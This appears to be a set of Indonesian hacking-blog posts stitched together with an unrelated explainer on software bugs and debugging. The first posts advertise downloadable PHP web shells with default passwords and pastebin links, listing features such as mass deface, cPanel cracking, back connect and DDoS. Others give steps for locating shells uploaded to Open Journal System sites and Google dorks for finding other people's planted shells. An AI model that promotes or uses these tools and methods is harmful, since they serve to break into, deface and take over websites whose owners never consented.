Oke gan, kali ini ane mau share "Terserah Shell" hasil recoded Mr.x0x , Oke langsung lihat aja Shell nya :) Login Terserah Shell , password default : sukasuka Tampilan Terserah Shell Untuk Shell nya bisa di download disini : https://pastebin.com/DxVJqctB atau https://pastebin.com/Zr0MSMnH Fitur : Mass Deface Mass Delete Config Jumping CPanel Cracker SMTP Grabber Upload Auto Edit User Auto Edit Title Fake Root Zone-H WordPress Auto Deface CFTP Auto Deface KRDP Shell Network Adminer Tool Admin Finder Symlink Priv Auto Deface From N45HT WHOIS CGI Telnet CSRF Online DDoS Shell Scanner Encode / Decode Full Bypass DefacerID Back Connect Semoga Bermanfaat ^_^
Hai.. Kalian yang menggunakan Methode Deface dengan Open Journal System sulit untuk mencari shell kalian yg sudah di upload berbentuk extensi .phtml, Nah kalian bisa menggunakan Tools ini untuk mencari file yang sudah di Upload. Alat : - Xampp (download install dulu kalo belum punya ) - Script php ojs shell finder ( simpan di Dir C:\xampp\php , Beri nama ojs.php ) Cara menggunakan nya Masuk CMD dan Ketikan Perintah - cd c:/xampp/php - php ojs.php site.com nama-file-sm.phtml Contoh Seperti Gambar di Bawah Setelah itu kemudian Enter , dan tunggu saja mungkin agak lama... Nah Ketemu Kan NB : Sebelum registrasi , Cari dulu site yg ada folder files nya , kalau forbidden ada folder nya
Yeah, kali ini gw mau share google dork buat dorking shell yang mungkin masih fresh :v ini kek pengalaman gw dulu, liat dork di google kek gini inurl:"/b374k.php" nahh itu yang gw dapet kebanyakan fake shell, dan kalo di klik menu nya bakal ke http://www.shafou.com/ kan semvak -,-" okelah, langsung liat aja dork nya ^_^ intitle:"IndoXploit" filetype:php intitle:"IndoXploit" intext:"public_html" filetype:php intitle:"IndoXploit" intext:"mass deface" filetype:php intitle:"IndoXploit" intext:"mass delete" filetype:php intitle:"IndoXploit" intext:"jumping" filetype:php intitle:"IndoXploit" intext:"config" filetype:php intitle:"IndoXploit" intext:"config" filetype:php intitle:"IndoXploit" intext:"fake root" filetype:php intitle:"IndoXploit" intext:"auto edit user" filetype:php intitle:"IndoXploit"...
Oke gan, kali ini ane mau share "Noesantara BlackHat Shell" hasil recoded Mr.x0x , Oke langsung lihat aja Shell nya :) Login Noesantara BlackHat Shell , password default : lugiganteng Tampilan Noesantara BlackHat Shell Untuk shell nya bisa di download disini https://pastebin.com/JMNrL6s1 Fitur : Mass Deface Mass Delete Config Jumping CPanel Crack SMTP Grabber Zone-H CGI Telnet network Adminer Fake Root Auto Edit User Auto Edit Title WordPress WordPress Auto Deface WordPress Auto Deface V.2 CPanel/FTP Auto Deface K-RDP Shell DefacerID CSRF Online Back Connect WordPress Brute Hash Identification Symlink Bypass Etc/Passw DB Dump Semoga Bermanfaat ^_^
Pengertian Bug apaan sih ? Sewaktu main game online, ada orang yang tahu Bug di suatu tempat pada map permainan. Ada juga seorang Programmer yang menemukan Bug pada suatu aplikasi. Sebenernya, Pengertian Bug ini apa ya? Hehehehehe... Tenang, buat kakak-kakak sekalian yang baru memasuki dunia GNU/Linux mungkin bertanya-tanya tentang Pengertian Bug. Okeh, tanpa basa-basi lagi, silahkan membaca artikel saya kali ini mengenai Pengertian Bug,
Bug, merupakan suatu kesalahan atau cacat pada sebuah software atau hardware yang menyebabkan software atau hardware tersebut tidak jalan sebagaimana mestinya. Bisa dibilang, Bug merupakan suatu kesalahan yang terdapat pada sotware maupun hardware. Ingatlah, tidak ada sesuatu yang sempurna dari seorang manusia (Ciiieehhh.... :D). Hehehehehehehe..... Software maupun hardware buatan manusia, tidak ada yang sempurna. Pastilah memiliki kesalahan atau cacat yang menyebabkan software ataupun hardware tersebut tidak berjalan normal. Sebuah software, bila memiliki Bug, pastinya akan selalu diperbaiki. Tapi, mungkin dari suatu perbaikan tersebut masih kurang sempurna. Malah, bisa menyebabkan suatu kesalahan lain. Setidaknya, perbaikan dari sebuah Bug pastilah membuat software maupun hardware menjadi lebih baik. Untuk anda yang berkecimpung di dunia GNU/Linux, sebuah Bug apabila ditemukan pada suatu program atau aplikasi, pastilah akan merasa risih dicampur rasa senang. Karena penemuan sebuah Bug lebih berharga daripada uang. Hahahahahaha.... Tapi itu benar loh. Kalau Bug tersebut anda laporkan kepada pihak pemilik program atau software tersebut, pastinya anda berjasa karena telah membantu kemaslahatan umat open-source. Hehehehehehe..... Lalu, ketika sebuah Bug ditemukan pada sebuah software, pastilah seorang Programmer akan melakukan debugging untuk memperbaikinya.
Debugging adalah sebuah metode yang dilakukan oleh para pemrogram dan pengembang perangkat lunak untuk mencari dan mengurangi bug, atau kerusakan di dalam sebuah program komputer atau perangkat keras sehingga perangkat tersebut bekerja sesuai dengan harapan. Debugging cenderung lebih rumit ketika beberapa subsistem lainnya terikat dengan ketat dengannya, mengingat sebuah perubahan di satu sisi, mungkin dapat menyebabkan munculnya bug lain di dalam subsistem lainnya.
Secara umum, tiga kategoti pendekatan debugging dapat diusulkan (MYE79) :
Gaya yang kasar (Brute force)
Kategori debugging brute force mungkin merupakan yang paling umum dan metode yang paling efisien untuk mengisolasi penyebab kesalahan perangkat lunak. Kita mengaplikasikan metode debugging brute force bila semua yang lain telah gagal. Dengan menggunakan filosofi �biarkan komputer menemukan kesalahan�, tempat sampah memori dipakai, penelusuran runtime dilakukan, dan program dibebani dengan statemen WRITE. Kita mengharapkan bahwa dimanapun didalam rawa informasi yang diproduksi, kita akan menemukan suatu kunci yang akan membawa kita kepada penyebab kesalahan. Meskipun banyaknya informasi yang dihasilkan pada akhirnya akan membawa kita meraih sukses, lebih sering dia menyebabkan kita menghambur-hamburkan usaha dan waktu. Kita harus memikirkannya terlebih dahulu.
Penelusuran balik (backtracking)
Backtracking adalah pendekatan debugging yang sangat umum yang dapat digunakan secara sukses didalam program yang kecil. Mulai pada sisi dimana suatu gejala diungkap, kode sumber ditelusuri balik (secara manual) samapai sisi penyebab ditemukan. Sayangnya, bila jumlah baris sumber bertambah, maka jumlah jalur balik potensial dapat sangat banyak.
Eliminasi penyebab
Cause elimination dimanisfestasikan oleh induksi atau deduksi serta mengawali konsep partisi biner. Data yang berhubungan dengan kejadian kesalahan dikumpulkan untuk mengisolasi penyebab potensial. Hipotesis penyebab dibuat dan data digunakan untuk membuktikan penolakan hipotesis tersebut. Sebagai alternatif, daftar semua penyebab yang mungkin dikembangkan dan dilakukan pengujian untuk mengeliminasi masing-masing kesalahan. Jika pengujian awal menunjukkan bahwa suatu hipotesis penyebab memberikan gambaran hasil yang jelas, maka data itu disaring sebagai usaha untuk mengisolasi bug. Sekali bug ditemukan, bug harus dibetulkan. Tetapi seperti telah kita catat, koreksi terhadap suatu bug dapat memunculkan kesalahan lain sehingga lebih banyak merugikan daripada menguntungkan.